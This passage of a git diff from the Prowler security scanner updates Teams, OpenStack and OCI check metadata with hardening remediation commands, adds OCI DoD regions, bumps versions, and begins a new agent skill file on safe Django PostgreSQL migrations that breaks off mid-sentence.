+1,35 @@ { "Provider": "m365", "CheckID": "teams_meeting_external_lobby_bypass_disabled", - "CheckTitle": "Ensure only people in the organization can bypass the lobby.", + "CheckTitle": "Meetings global policy allows only people in the organization to bypass the lobby", "CheckType": [], "ServiceName": "teams", "SubServiceName": "", "ResourceIdTemplate": "", "Severity": "critical", - "ResourceType": "Teams Global Meeting Policy", + "ResourceType": "NotDefined", "ResourceGroup": "collaboration", - "Description": "Ensure only people in the organization can bypass the lobby.", - "Risk": "Allowing external users or unauthenticated participants to bypass the lobby increases the risk of unauthorized access to sensitive meetings and potential disruptions. It may also lead to unscheduled meetings being initiated by external parties.", - "RelatedUrl": "https://learn.microsoft.com/en-us/powershell/module/teams/set-csteamsmeetingpolicy?view=teams-ps", + "Description": "Teams Meetings global policy restricts **lobby bypass** so only `EveryoneInCompanyExcludingGuests`, `OrganizerOnly`, or `InvitedUsers` are auto-admitted; all others wait in the lobby.", + "Risk": "Auto-admitting external or anonymous users undermines **confidentiality** via covert listening and access to chat/files, and **integrity** through meeting hijacks, malicious screen sharing, and phishing. It also impacts **availability** by enabling disruptions and unsanctioned sessions.", + "RelatedUrl": "", + "AdditionalURLs": [ + "https://learn.microsoft.com/en-us/powershell/module/teams/set-csteamsmeetingpolicy?view=teams-ps" + ], "Remediation": { "Code": { - "CLI": "Set-CsTeamsMeetingPolicy -Identity Global -AutoAdmittedUsers 'EveryoneInCompanyExcludingGuests' ", + "CLI": "Set-CsTeamsMeetingPolicy -Identity Global -AutoAdmittedUsers 'EveryoneInCompanyExcludingGuests'", "NativeIaC": "", - "Other": "1. Navigate to Microsoft Teams admin center https://admin.teams.microsoft.com. 2. Click to expand Meetings select Meeting policies. 3. Click Global (Org-wide default). 4. Under meeting join & lobby set Who can bypass the lobby to People in my org.", + "Other": "1. Sign in to the Microsoft Teams admin center (https://admin.teams.microsoft.com)\n2. Go to Meetings > Meeting policies\n3. Select Global (Org-wide default)\n4. Under Meeting join & lobby, set Who can bypass the lobby to People in my org\n5. Click Save", "Terraform": "" }, "Recommendation": { - "Text": "Ensure that only people within the organization can bypass the lobby, requiring external users and dial-in participants to wait for approval from an organizer, co-organizer, or presenter. This helps secure sensitive meetings and prevents unauthorized access.", - "Url": "https://learn.microsoft.com/en-us/powershell/module/teams/set-csteamsmeetingpolicy?view=teams-ps" + "Text": "Apply **least privilege** to lobby admission: set auto-admit to internal-only or to organizer/invitees, and require approval for guests, federated, anonymous, and PSTN. Enforce **authentication** and **conditional access**, and default to limited presenters for **defense in depth**.", + "Url": "https://hub.prowler.com/check/teams_meeting_external_lobby_bypass_disabled" } }, "Categories": [ + "identity-access", + "trust-boundaries", "e3" ], "DependsOn": [], diff --git a/prowler/providers/m365/services/teams/teams_meeting_presenters_restricted/teams_meeting_presenters_restricted.metadata.json b/prowler/providers/m365/services/teams/teams_meeting_presenters_restricted/teams_meeting_presenters_restricted.metadata.json index 5e2ea4231c..d45e27c4df 100644 --- a/prowler/providers/m365/services/teams/teams_meeting_presenters_restricted/teams_meeting_presenters_restricted.metadata.json +++ b/prowler/providers/m365/services/teams/teams_meeting_presenters_restricted/teams_meeting_presenters_restricted.metadata.json @@ -1,30 +1,34 @@ { "Provider": "m365", "CheckID": "teams_meeting_presenters_restricted", - "CheckTitle": "Ensure only organizers and co-organizers can present", + "CheckTitle": "Meetings org-wide default policy allows only organizers and co-organizers to present", "CheckType": [], "ServiceName": "teams", "SubServiceName": "", "ResourceIdTemplate": "", - "Severity": "high", - "ResourceType": "Teams Global Meeting Policy", + "Severity": "medium", + "ResourceType": "NotDefined", "ResourceGroup": "collaboration", - "Description": "Ensure only organizers and co-organizers can present in a Teams meeting. The recommended state is 'Only organizers and co-organizers'.", - "Risk": "Allowing everyone to present increases the risk that a malicious user can inadvertently show inappropriate content.", - "RelatedUrl": "https://learn.microsoft.com/en-us/microsoftteams/meeting-who-present-request-control", + "Description": "**Teams meeting policy** sets the default `Who can present` to **only organizers and co-organizers** in the org-wide policy.\n\nThis evaluates whether attendees are limited to the attendee role by default rather than joining as presenters.", + "Risk": "Allowing everyone to present enables unsolicited screen sharing and content uploads, causing data exposure (confidentiality), misleading or altered information during sessions (integrity), and meeting takeovers or disruptions (availability). External participants can exploit this to distribute phishing links or malware.", + "RelatedUrl": "", + "AdditionalURLs": [ + "https://learn.microsoft.com/en-us/microsoftteams/meeting-who-present-request-control" + ], "Remediation": { "Code": { "CLI": "Set-CsTeamsMeetingPolicy -Identity Global -DesignatedPresenterRoleMode \"OrganizerOnlyUserOverride\"", "NativeIaC": "", - "Other": "1. Navigate to Microsoft Teams admin center https://admin.teams.microsoft.com. 2. Click to expand Meetings select Meeting policies. 3. Click Global (Org-wide default). 4. Under content sharing set Who can present to Only organizers and co-organizers.", + "Other": "1. Sign in to the Teams admin center: https://admin.teams.microsoft.com\n2. Go to Meetings > Meeting policies\n3. Select Global (Org-wide default)\n4. Under Content sharing, set Who can present to \"Only organizers and co-organizers\"\n5. Click Save", "Terraform": "" }, "Recommendation": { - "Text": "Restrict presentation capabilities to only organizers and co-organizers to reduce the risk of inappropriate content being shown.", - "Url": "https://learn.microsoft.com/en-us/microsoftteams/meeting-who-present-request-control" + "Text": "Set `Who can present` to **Only organizers and co-organizers** by default.\n\nApply **least privilege**:\n- Grant presenter rights only to designated users per meeting\n- Keep others as attendees, especially externals\n- Use lobby/guest controls to limit elevation\n\nAdopt **defense in depth** with monitoring and clear host procedures.", + "Url": "https://hub.prowler.com/check/teams_meeting_presenters_restricted" } }, "Categories": [ + "identity-access", "e3" ], "DependsOn": [], diff --git a/prowler/providers/m365/services/teams/teams_meeting_recording_disabled/teams_meeting_recording_disabled.metadata.json b/prowler/providers/m365/services/teams/teams_meeting_recording_disabled/teams_meeting_recording_disabled.metadata.json index 5d1c3c03cc..b74e03fd31 100644 --- a/prowler/providers/m365/services/teams/teams_meeting_recording_disabled/teams_meeting_recording_disabled.metadata.json +++ b/prowler/providers/m365/services/teams/teams_meeting_recording_disabled/teams_meeting_recording_disabled.metadata.json @@ -1,27 +1,30 @@ { "Provider": "m365", "CheckID": "teams_meeting_recording_disabled", - "CheckTitle": "Ensure meeting recording is disabled by default", + "CheckTitle": "Meetings global (Org-wide default) policy has meeting recording disabled by default", "CheckType": [], "ServiceName": "teams", "SubServiceName": "", "ResourceIdTemplate": "", - "Severity": "high", - "ResourceType": "Teams Global Meeting Policy", + "Severity": "medium", + "ResourceType": "NotDefined", "ResourceGroup": "collaboration", - "Description": "Ensures that only authorized users, such as organizers, co-organizers, and leads, can initiate a recording.", - "Risk": "Allowing meeting recordings by default increases the risk of unauthorized individuals capturing and potentially sharing sensitive meeting content.", - "RelatedUrl": "https://learn.microsoft.com/en-us/powershell/module/teams/set-csteamsmeetingpolicy?view=teams-ps", + "Description": "**Microsoft 365 Teams** Global meeting policy has **cloud meeting recording** disabled by default (`AllowCloudRecording=false`).", + "Risk": "Recording allowed by default enables uncontrolled capture of meetings, threatening **confidentiality**. Files and transcripts persist in collaboration stores and can be broadly shared, leading to insider exfiltration, accidental leakage, and long-lived exposure of sensitive discussions.", + "RelatedUrl": "", + "AdditionalURLs": [ + "https://learn.microsoft.com/en-us/powershell/module/teams/set-csteamsmeetingpolicy?view=teams-ps" + ], "Remediation": { "Code": { "CLI": "Set-CsTeamsMeetingPolicy -Identity Global -AllowCloudRecording $false", "NativeIaC": "", - "Other": "1. Navigate to Microsoft Teams admin center https://admin.teams.microsoft.com. 2. Click to expand Meetings select Meeting policies. 3. Click Global (Org-wide default). 4. Under Recording & transcription set Meeting recording to Off.", + "Other": "1. Sign in to Microsoft Teams admin center: https://admin.teams.microsoft.com\n2. Go to Meetings > Meeting policies\n3. Select Global (Org-wide default)\n4. Under Recording & transcription, set Cloud recording to Off\n5. Click Save", "Terraform": "" }, "Recommendation": { - "Text": "Disable meeting recording in the Global meeting policy to ensure only authorized users can initiate recordings. Create separate policies for users or groups who need recording capabilities.", - "Url": "https://learn.microsoft.com/en-us/powershell/module/teams/set-csteamsmeetingpolicy?view=teams-ps" + "Text": "Adopt a stance of **no default recording** and grant recording only to specific roles or groups per **least privilege**. Require explicit consent, restrict sharing to need-to-know, and apply retention and access controls. Periodically review policies as part of **defense in depth** to minimize data exposure.", + "Url": "https://hub.prowler.com/check/teams_meeting_recording_disabled" } }, "Categories": [ diff --git a/prowler/providers/m365/services/teams/teams_security_reporting_enabled/teams_security_reporting_enabled.metadata.json b/prowler/providers/m365/services/teams/teams_security_reporting_enabled/teams_security_reporting_enabled.metadata.json index 4f430111d5..1d08b937ea 100644 --- a/prowler/providers/m365/services/teams/teams_security_reporting_enabled/teams_security_reporting_enabled.metadata.json +++ b/prowler/providers/m365/services/teams/teams_security_reporting_enabled/teams_security_reporting_enabled.metadata.json @@ -1,27 +1,32 @@ { "Provider": "m365", "CheckID": "teams_security_reporting_enabled", - "CheckTitle": "Ensure users can report security concerns in Teams", + "CheckTitle": "Messaging policy has security reporting enabled", "CheckType": [], "ServiceName": "teams", "SubServiceName": "", "ResourceIdTemplate": "", "Severity": "medium", - "ResourceType": "Teams Global Messaging Policy", + "ResourceType": "NotDefined", "ResourceGroup": "collaboration", - "Description": "Ensure Teams user reporting settings allow a user to report a message as malicious for further analysis", - "Risk": "Without proper security reporting enabled, users cannot effectively report suspicious or malicious messages, potentially allowing security threats to go unnoticed.", - "RelatedUrl": "https://learn.microsoft.com/en-us/defender-office-365/submissions-teams?view=o365-worldwide", + "Description": "**Teams messaging policies** enable **end-user security reporting** via `AllowSecurityEndUserReporting`, letting users report messages from chats, channels, and meetings for security review.", + "Risk": "**Disabled reporting** hides **phishing, malicious links, and social engineering** in Teams.\n\nThis delays detection and response, enabling **lateral movement** and **data exfiltration**, and degrading **confidentiality** and **integrity**.", + "RelatedUrl": "", + "AdditionalURLs": [ + "https://learn.microsoft.com/en-us/powershell/module/microsoftteams/set-csteamsmessagingpolicy?view=teams-ps", + "https://blog.hametbenoit.info/2023/03/30/teams-you-can-now-enable-quarantine-for-teams-preview/", + "https://learn.microsoft.com/en-us/defender-office-365/submissions-teams?view=o365-worldwide" + ], "Remediation": { "Code": { "CLI": "Set-CsTeamsMessagingPolicy -Identity Global -AllowSecurityEndUserReporting $true", "NativeIaC": "", - "Other": "1. Navigate to Microsoft Teams admin center (https://admin.teams.microsoft.com). 2. Click to expand Messaging and select Messaging policies. 3. Click Global (Org-wide default). 4. Ensure Report a security concern is On.", + "Other": "1. Sign in to the Microsoft Teams admin center: https://admin.teams.microsoft.com\n2. Go to Messaging policies\n3. Open Global (Org-wide default)\n4. Turn on \"Report a security concern\"\n5. Click Save", "Terraform": "" }, "Recommendation": { - "Text": "Enable security reporting in Teams messaging policy.", - "Url": "https://learn.microsoft.com/en-us/defender-office-365/submissions-teams?view=o365-worldwide" + "Text": "Enable `AllowSecurityEndUserReporting` in relevant messaging policies and route submissions to security operations for timely triage.\n\nReinforce **defense in depth** with link/file protection and monitoring, train users to report suspicious content, and apply **least privilege** to administrative access.", + "Url": "https://hub.prowler.com/check/teams_security_reporting_enabled" } }, "Categories": [ diff --git a/prowler/providers/m365/services/teams/teams_unmanaged_communication_disabled/teams_unmanaged_communication_disabled.metadata.json b/prowler/providers/m365/services/teams/teams_unmanaged_communication_disabled/teams_unmanaged_communication_disabled.metadata.json index 1fbe76de62..3966b17c39 100644 --- a/prowler/providers/m365/services/teams/teams_unmanaged_communication_disabled/teams_unmanaged_communication_disabled.metadata.json +++ b/prowler/providers/m365/services/teams/teams_unmanaged_communication_disabled/teams_unmanaged_communication_disabled.metadata.json @@ -1,31 +1,36 @@ { "Provider": "m365", "CheckID": "teams_unmanaged_communication_disabled", - "CheckTitle": "Ensure unmanaged communication is disabled.", + "CheckTitle": "Users cannot communicate with unmanaged users", "CheckType": [], "ServiceName": "teams", "SubServiceName": "", "ResourceIdTemplate": "", - "Severity": "critical", - "ResourceType": "Teams Settings", + "Severity": "high", + "ResourceType": "NotDefined", "ResourceGroup": "collaboration", - "Description": "Ensure unmanaged communication is disabled in Teams admin center.", - "Risk": "Allowing communication with unmanaged Microsoft Teams users increases the risk of targeted attacks such as phishing, malware distribution (e.g., DarkGate), and exploitation techniques like GIFShell and username enumeration. Unmanaged accounts are easier for threat actors to create and use as attack vectors.", - "RelatedUrl": "https://learn.microsoft.com/en-us/powershell/module/teams/set-cstenantfederationconfiguration?view=teams-ps", + "Description": "**Microsoft 365 Teams** external access configuration for **unmanaged Teams accounts** is reviewed, expecting the \"Teams accounts not managed by an organization\" option to be `Off`, preventing chats with personal Microsoft accounts.", + "Risk": "Allowing unmanaged accounts enables unsolicited contact that undermines **confidentiality** and **integrity**: attackers can enumerate users, deliver phishing or malware links, and run social-engineering leading to data exfiltration and unauthorized changes. It also fuels spam and alert fatigue.", + "RelatedUrl": "", + "AdditionalURLs": [ + "https://learn.microsoft.com/en-us/powershell/module/teams/set-cstenantfederationconfiguration?view=teams-ps", + "https://learn.microsoft.com/en-us/microsoftteams/trusted-organizations-external-meetings-chat" + ], "Remediation": { "Code": { "CLI": "Set-CsTenantFederationConfiguration -AllowTeamsConsumer $false", "NativeIaC": "", - "Other": "1. Navigate to Microsoft Teams admin center https://admin.teams.microsoft.com/. 2. Click to expand Users select External access. 3. Scroll to Teams accounts not managed by an organization. 4. Set People in my organization can communicate with Teams users whose accounts aren't managed by an organization to Off. 5. Click Save.", + "Other": "1. Sign in to the Microsoft Teams admin center\n2. Go to Users > External access\n3. Under \"Teams accounts not managed by an organization\", turn OFF \"People in my organization can communicate with Teams users whose accounts aren't managed by an organization\"\n4. Click Save", "Terraform": "" }, "Recommendation": { - "Text": "Disable communication with Teams users whose accounts aren't managed by an organization by setting 'People in my organization can communicate with Teams users whose accounts aren't managed by an organization' to Off. This helps prevent unauthorized or risky external interactions.", - "Url": "https://learn.microsoft.com/en-us/powershell/module/teams/set-cstenantfederationconfiguration?view=teams-ps" + "Text": "Disable communication with **unmanaged Teams accounts** to enforce **least privilege** and reduce attack surface.\n\nIf collaboration is needed, allow only outbound initiation, prefer **guest access** or trusted domains, apply **defense in depth** with DLP/link protection, and monitor external interactions.", + "Url": "https://hub.prowler.com/check/teams_unmanaged_communication_disabled" } }, "Categories": [ - "e3" + "e3", + "trust-boundaries" ], "DependsOn": [], "RelatedTo": [], diff --git a/prowler/providers/openstack/services/image/image_signature_verification_enabled/image_signature_verification_enabled.metadata.json b/prowler/providers/openstack/services/image/image_signature_verification_enabled/image_signature_verification_enabled.metadata.json index c9630e75aa..84b0e20799 100644 --- a/prowler/providers/openstack/services/image/image_signature_verification_enabled/image_signature_verification_enabled.metadata.json +++ b/prowler/providers/openstack/services/image/image_signature_verification_enabled/image_signature_verification_enabled.metadata.json @@ -9,7 +9,7 @@ "Severity": "high", "ResourceType": "OS::Glance::WebImage", "ResourceGroup": "storage", - "Description": "**OpenStack images** are evaluated to verify that all **four signature properties** are configured: `img_signature`, `img_signature_hash_method`, `img_signature_key_type`, and `img_signature_certificate_uuid`. Signed images allow Nova to verify image integrity before booting, detecting tampering or corruption. Best practices recommend signing all production images using Barbican-managed certificates.", + "Description": "**OpenStack images** are evaluated to verify that all **four signature properties** are configured: `img_signature`, `img_signature_hash_method`, `img_signature_key_type`, and `img_signature_certificate_uuid`. Signed images allow Nova to verify integrity before booting, detecting tampering or corruption.", "Risk": "Unsigned images can be tampered with to inject backdoors, malware, or rootkits without detection. Without signature verification, compromised storage backends or man-in-the-middle attacks can modify images between upload and boot. Nova cannot verify the integrity of unsigned images, allowing corrupted or malicious images to be launched.", "RelatedUrl": "", "AdditionalURLs": [ diff --git a/prowler/providers/openstack/services/networking/networking_security_group_allows_all_ingress_from_internet/networking_security_group_allows_all_ingress_from_internet.metadata.json b/prowler/providers/openstack/services/networking/networking_security_group_allows_all_ingress_from_internet/networking_security_group_allows_all_ingress_from_internet.metadata.json index 473dc9602d..79998af96c 100644 --- a/prowler/providers/openstack/services/networking/networking_security_group_allows_all_ingress_from_internet/networking_security_group_allows_all_ingress_from_internet.metadata.json +++ b/prowler/providers/openstack/services/networking/networking_security_group_allows_all_ingress_from_internet/networking_security_group_allows_all_ingress_from_internet.metadata.json @@ -10,7 +10,7 @@ "ResourceType": "OS::Neutron::SecurityGroup", "ResourceGroup": "network", "Description": "**OpenStack security groups** are evaluated to verify that no rule allows **all ingress traffic** (any protocol, any port) from the Internet (0.0.0.0/0 or ::/0). A rule with no protocol and no port restriction is effectively a \"permit any\" firewall rule, completely bypassing network-level access controls. This is the most permissive possible configuration and should never be used in production.", - "Risk": "Allowing all inbound traffic from the Internet exposes every service running on the instance to unauthorized access. Attackers can discover and exploit any listening service including databases, management interfaces, internal APIs, and debugging tools. This bypasses defense-in-depth and is equivalent to having no firewall. Combined with misconfigurations or unpatched services, it enables initial access, lateral movement, data exfiltration, and full infrastructure compromise.", + "Risk": "Allowing all inbound traffic from the Internet exposes every service on the instance to unauthorized access. Attackers can exploit any listening service including databases, management interfaces, and internal APIs. This bypasses defense-in-depth and enables initial access, lateral movement, data exfiltration, and infrastructure compromise.", "RelatedUrl": "", "AdditionalURLs": [ "https://docs.openstack.org/neutron/latest/admin/intro-os-networking.html", diff --git a/prowler/providers/oraclecloud/config.py b/prowler/providers/oraclecloud/config.py index 9e428672d5..0c20c44f57 100644 --- a/prowler/providers/oraclecloud/config.py +++ b/prowler/providers/oraclecloud/config.py @@ -65,5 +65,16 @@ OCI_GOVERNMENT_REGIONS = { "us-luke-1": "US Gov East", } +# OCI Defense Regions +OCI_US_DOD_REGIONS = { + "us-gov-ashburn-1": "US DoD East (Ashburn)", + "us-gov-chicago-1": "US DoD North (Chicago)", + "us-gov-phoenix-1": "US DoD West (Phoenix)", +} + # All OCI Regions -OCI_REGIONS = {**OCI_COMMERCIAL_REGIONS, **OCI_GOVERNMENT_REGIONS} +OCI_REGIONS = { + **OCI_COMMERCIAL_REGIONS, + **OCI_GOVERNMENT_REGIONS, + **OCI_US_DOD_REGIONS, +} diff --git a/prowler/providers/oraclecloud/services/events/events_rule_network_security_group_changes/events_rule_network_security_group_changes.metadata.json b/prowler/providers/oraclecloud/services/events/events_rule_network_security_group_changes/events_rule_network_security_group_changes.metadata.json index f19b28e311..f8ce61ada9 100644 --- a/prowler/providers/oraclecloud/services/events/events_rule_network_security_group_changes/events_rule_network_security_group_changes.metadata.json +++ b/prowler/providers/oraclecloud/services/events/events_rule_network_security_group_changes/events_rule_network_security_group_changes.metadata.json @@ -9,7 +9,7 @@ "Severity": "medium", "ResourceType": "EventRule", "ResourceGroup": "messaging", - "Description": "**OCI Events rules** targeting **Network Security Group (NSG)** changes are evaluated for the presence of **notification actions**. Monitored event types: `com.oraclecloud.virtualnetwork.createnetworksecuritygroup`, `com.oraclecloud.virtualnetwork.updatenetworksecuritygroup`, `com.oraclecloud.virtualnetwork.deletenetworksecuritygroup`, `com.oraclecloud.virtualnetwork.changenetworksecuritygroupcompartment`.", + "Description": "**OCI Events rules** targeting **Network Security Group (NSG)** changes are evaluated for **notification actions**. Monitored events: `createnetworksecuritygroup`, `updatenetworksecuritygroup`, `deletenetworksecuritygroup`, and `changenetworksecuritygroupcompartment` under `com.oraclecloud.virtualnetwork`.", "Risk": "Absent notifications for NSG changes enable silent policy drift.\n- **Confidentiality**: permissive edits can expose services and drive data exfiltration.\n- **Integrity**: attackers can reroute traffic or bypass micro-segmentation.\n- **Availability**: deletions/misconfigurations may isolate workloads or widen DDoS exposure.", "RelatedUrl": "", "AdditionalURLs": [ diff --git a/pyproject.toml b/pyproject.toml index 8df009f5d3..4b211f7fbd 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -62,7 +62,7 @@ dependencies = [ "pandas==2.2.3", "py-ocsf-models==0.8.1", "pydantic (>=2.0,<3.0)", - "pygithub==2.5.0", + "pygithub==2.8.0", "python-dateutil (>=2.9.0.post0,<3.0.0)", "pytz==2025.1", "schema==0.7.5", @@ -94,7 +94,7 @@ maintainers = [{name = "Prowler Engineering", email = "engineering@prowler.com"} name = "prowler" readme = "README.md" requires-python = ">3.9.1,<3.13" -version = "5.20.0" +version = "5.22.0" [project.scripts] prowler = "prowler.__main__:prowler" diff --git a/skills/django-migration-psql/SKILL.md b/skills/django-migration-psql/SKILL.md new file mode 100644 index 0000000000..d292036dd0 --- /dev/null +++ b/skills/django-migration-psql/SKILL.md @@ -0,0 +1,454 @@ +--- +name: django-migration-psql +description: > + Reviews Django migration files for PostgreSQL best practices specific to Prowler. + Trigger: When creating migrations, running makemigrations/pgmakemigrations, reviewing migration PRs, + adding indexes or constraints to database tables, modifying existing migration files, or writing + data backfill migrations. Always use this skill when you see AddIndex, CreateModel, AddConstraint, + RunPython, bulk_create, bulk_update, or backfill operations in migration files. +license: Apache-2.0 +metadata: + author: prowler-cloud + version: "1.0" + scope: [api, root] + auto_invoke: + - "Creating or reviewing Django migrations" + - "Adding indexes or constraints to database tables" + - "Running makemigrations or pgmakemigrations" + - "Writing data backfill or data migration" +allowed-tools: Read, Grep, Glob, Edit, Write, Bash +--- + +## When to use + +- Creating a new Django migration +- Running `makemigrations` or `pgmakemigrations` +- Reviewing a PR that adds or modifies migrations +- Adding indexes, constraints, or models to the database + +## Why this matters + +A bad migration can lock a production table for minutes, block all reads/writes, or silently skip index creation on partitioned tables. + +## Auto-generated migrations need splitting + +`makemigrations` and `pgmakemigrations` bundle everything into one file: `CreateModel`, `AddIndex`, `AddConstraint`, sometimes across multiple tables. This is the default Django behavior and it violates every rule below. + +After generating a migration, ALWAYS review it and split it: + +1. Read the generated file and identify every operation +2. Group operations by concern: + - `CreateModel` + `AddConstraint` for each new table → one migration per table + - `AddIndex` per table → one migration per table + - `AddIndex` on partitioned tables → two migrations (partition + parent) + - `AlterField`, `AddField`, `RemoveField` for each table → one migration per table +3. Rewrite the generated file into separate migration files with correct dependencies +4. Delete the original auto-generated migration + +When adding fields or indexes to an existing model, `makemigrations` may also bundle `AddIndex` for unrelated tables that had pending model changes. Always check for stowaways from other tables. + +## Rule 1: separate indexes from model creation + +`CreateModel` + `AddConstraint` = same migration (structural). +`AddIndex` = separate migration file (performance). + +Django runs each migration inside a transaction (unless `atomic = False`). If an index operation fails, it rolls back everything, including the model creation. Splitting means a failed index doesn't prevent the table from existing. It also lets you `--fake` index migrations independently (see Rule 4). + +### Bad + +```python +# 0081_finding_group_daily_summary.py — DON'T DO THIS +class Migration(migrations.Migration): + operations = [ + migrations.CreateModel(name="FindingGroupDailySummary", ...), + migrations.AddIndex(model_name="findinggroupdailysummary", ...), # separate this + migrations.AddIndex(model_name="findinggroupdailysummary", ...), # separate this + migrations.AddConstraint(model_name="findinggroupdailysummary", ...), # this is fine here + ] +``` + +### Good + +```python +# 0081_create_finding_group_daily_summary.py +class Migration(migrations.Migration): + operations = [ + migrations.CreateModel(name="FindingGroupDailySummary", ...), + # Constraints belong with the model — they define its integrity rules + migrations.AddConstraint(model_name="findinggroupdailysummary", ...), # unique + migrations.AddConstraint(model_name="findinggroupdailysummary", ...), # RLS + ] + +# 0082_finding_group_daily_summary_indexes.py +class Migration(migrations.Migration): + dependencies = [("api", "0081_create_finding_group_daily_summary")] + operations = [ + migrations.AddIndex(model_name="findinggroupdailysummary", ...), + migrations.AddIndex(model_name="findinggroupdailysummary", ...), + migrations.AddIndex(model_name="findinggroupdailysummary", ...), + ] +``` + +Flag any migration with both `CreateModel` and `AddIndex` in `operations`. + +## Rule 2: one table's indexes per migration + +Each table's indexes must live in their own migration file. Never mix `AddIndex` for different `model_name` values in one migration. + +If the index on table B fails, the rollback also drops the index on table A. The migration name gives no hint that it touches unrelated tables. You lose the ability to `--fake` one table's indexes without affecting the other. + +### Bad + +```python +# 0081_finding_group_daily_summary.py — DON'T DO THIS +class Migration(migrations.Migration): + operations = [ + migrations.CreateModel(name="FindingGroupDailySummary", ...), + migrations.AddIndex(model_name="findinggroupdailysummary", ...), # table A + migrations.AddIndex(model_name="resource", ...), # table B! + migrations.AddIndex(model_name="resource", ...), # table B! + migrations.AddIndex(model_name="finding", ...), # table C! + ] +``` + +### Good + +```python +# 0081_create_finding_group_daily_summary.py — model + constraints +# 0082_finding_group_daily_summary_indexes.py — only FindingGroupDailySummary indexes +# 0083_resource_trigram_indexes.py — only Resource indexes +# 0084_finding_check_index_partitions.py — only Finding partition indexes (step 1) +# 0085_finding_check_index_parent.py — only Finding parent index (step 2) +``` + +Name each migration file after the table it affects. A reviewer should know which table a migration touches without opening the file. + +Flag any migration where `AddIndex` operations reference more than one `model_name`. + +## Rule 3: partitioned table indexes require the two-step pattern + +Tables `findings` and `resource_finding_mappings` are range-partitioned. Plain `AddIndex` only creates the index definition on the parent table. Postgres does NOT propagate it to existing partitions. New partitions inherit it, but all current data stays unindexed. + +Use the helpers in `api.db_utils`. + +### Step 1: create indexes on actual partitions + +```python +# 0084_finding_check_index_partitions.py +from functools import partial +from django.db import migrations +from api.db_utils import create_index_on_partitions, drop_index_on_partitions + + +class Migration(migrations.Migration): + atomic = False # REQUIRED — CREATE INDEX CONCURRENTLY can't run inside a transaction + + dependencies = [("api", "0083_resource_trigram_indexes")] + + operations = [ + migrations.RunPython( + partial( + create_index_on_partitions, + parent_table="findings", + index_name="find_tenant_check_ins_idx", + columns="tenant_id, check_id, inserted_at", + ), + reverse_code=partial( + drop_index_on_partitions, + parent_table="findings", + index_name="find_tenant_check_ins_idx", + ), + ) + ] +``` + +Key details: +- `atomic = False` is mandatory. `CREATE INDEX CONCURRENTLY` cannot run inside a transaction. +- Always provide `reverse_code` using `drop_index_on_partitions` so rollbacks work. +- The default is `all_partitions=True`, which creates indexes on every partition CONCURRENTLY (no locks). This is the safe default. +- Do NOT use `all_partitions=False` unless you understand the consequence: Step 2's `AddIndex` on the parent will create indexes on the skipped partitions **with locks** (not CONCURRENTLY), because PostgreSQL fills in missing partition indexes inline during parent index creation. + +### Step 2: register the index with Django + +```python +# 0085_finding_check_index_parent.py +from django.db import migrations, models + + +class Migration(migrations.Migration): + dependencies = [("api", "0084_finding_check_index_partitions")] + + operations = [ + migrations.AddIndex( + model_name="finding", + index=models.Index( + fields=["tenant_id", "check_id", "inserted_at"], + name="find_tenant_check_ins_idx", + ), + ), + ] +``` + +This second migration tells Django "this index exists" so it doesn't try to recreate it. New partitions created after this point inherit the index definition from the parent. + +### Existing examples in the codebase + +| Partition migration | Parent migration | +|---|---| +| `0020_findings_new_performance_indexes_partitions.py` | `0021_findings_new_performance_indexes_parent.py` | +| `0024_findings_uid_index_partitions.py` | `0025_findings_uid_index_parent.py` | +| `0028_findings_check_index_partitions.py` | `0029_findings_check_index_parent.py` | +| `0036_rfm_tenant_finding_index_partitions.py` | `0037_rfm_tenant_finding_index_parent.py` | + +Flag any plain `AddIndex` on `finding` or `resourcefindingmapping` without a preceding partition migration. + +## Rule 4: large table indexes — fake the migration, apply manually + +For huge tables (findings has millions of rows), even `CREATE INDEX CONCURRENTLY` can take minutes and consume significant I/O. In production, you may want to decouple the migration from the actual index creation. + +### Procedure + +1. Write the migration normally following the two-step pattern above. + +2. Fake the migration so Django marks it as applied without executing it: + +```bash +python manage.py migrate api 0084_finding_check_index_partitions --fake +python manage.py migrate api 0085_finding_check_index_parent --fake +``` + +3. Create the index manually during a low-traffic window via `psql` or `python manage.py dbshell --database admin`: + +```sql +-- For each partition you care about: +CREATE INDEX CONCURRENTLY IF NOT EXISTS findings_2026_jan_find_tenant_check_ins_idx + ON findings_2026_jan USING BTREE (tenant_id, check_id, inserted_at); + +CREATE INDEX CONCURRENTLY IF NOT EXISTS findings_2026_feb_find_tenant_check_ins_idx + ON findings_2026_feb USING BTREE (tenant_id, check_id, inserted_at); + +-- Then register on the parent (this is fast, no data scan): +CREATE INDEX IF NOT EXISTS find_tenant_check_ins_idx + ON findings USING BTREE (tenant_id, check_id, inserted_at); +``` + +4. Verify the index exists on the partitions you need: + +```sql +SELECT indexrelid::regclass, indrelid::regclass +FROM pg_index +WHERE indexrelid::regclass::text LIKE '%find_tenant_check_ins%'; +``` + +### When to use this approach + +- The table will grow exponentially, e.g.: findings. +- You want to control exactly when the I/O hit happens (e.g., during a maintenance window). + +This is optional. For smaller tables or non-production environments, letting the migration run normally is fine. + +## Rule 5: data backfills — never inline, always batched + +Data backfills (updating existing rows, populating new columns, generating summary data) are the most dangerous migrations. A naive `Model.objects.all().update(...)` on a multi-million row table will hold a transaction lock for minutes, blow out WAL, and potentially OOM the worker. + +### Never backfill inline in the migration + +The migration should only dispatch the work. The actual backfill runs asynchronously via Celery tasks, outside the migration transaction. + +```python +# 0090_backfill_finding_group_summaries.py +from django.db import migrations + +def trigger_backfill(apps, schema_editor): + from tasks.jobs.backfill import backfill_finding_group_summaries_task + Tenant = apps.get_model("api", "Tenant") + from api.db_router import MainRouter + + tenant_ids = Tenant.objects.using(MainRouter.admin_db).values_list("id", flat=True) + for tenant_id in tenant_ids: + backfill_finding_group_summaries_task.delay(tenant_id=str(tenant_id)) + +class Migration(migrations.Migration): + dependencies = [("api", "0089_previous_migration")] + operations = [ + migrations.RunPython(trigger_backfill, migrations.RunPython.noop), + ] +``` + +The migration finishes in seconds. The backfill runs in the background per-tenant. + +### Exception: trivial updates + +Single-statement bulk updates on small result sets are OK inline: + +```python +# Fine — single UPDATE, small result set, no iteration +def backfill_graph_data_ready(apps, schema_editor): + AttackPathsScan = apps.get_model("api", "AttackPathsScan") + AttackPathsScan.objects.using(MainRouter.admin_db).filter( + state="completed", graph_data_ready=False, + ).update(graph_data_ready=True) +``` + +Use inline only when you're confident the affected row count is small (< ~10K rows). + +### Batch processing in the Celery task + +The actual backfill task must process data in batches. Use the helpers in `api.db_utils`: + +```python +from api.db_utils import create_objects_in_batches, update_objects_in_batches, batch_delete + +# Creating objects in batches (500 per 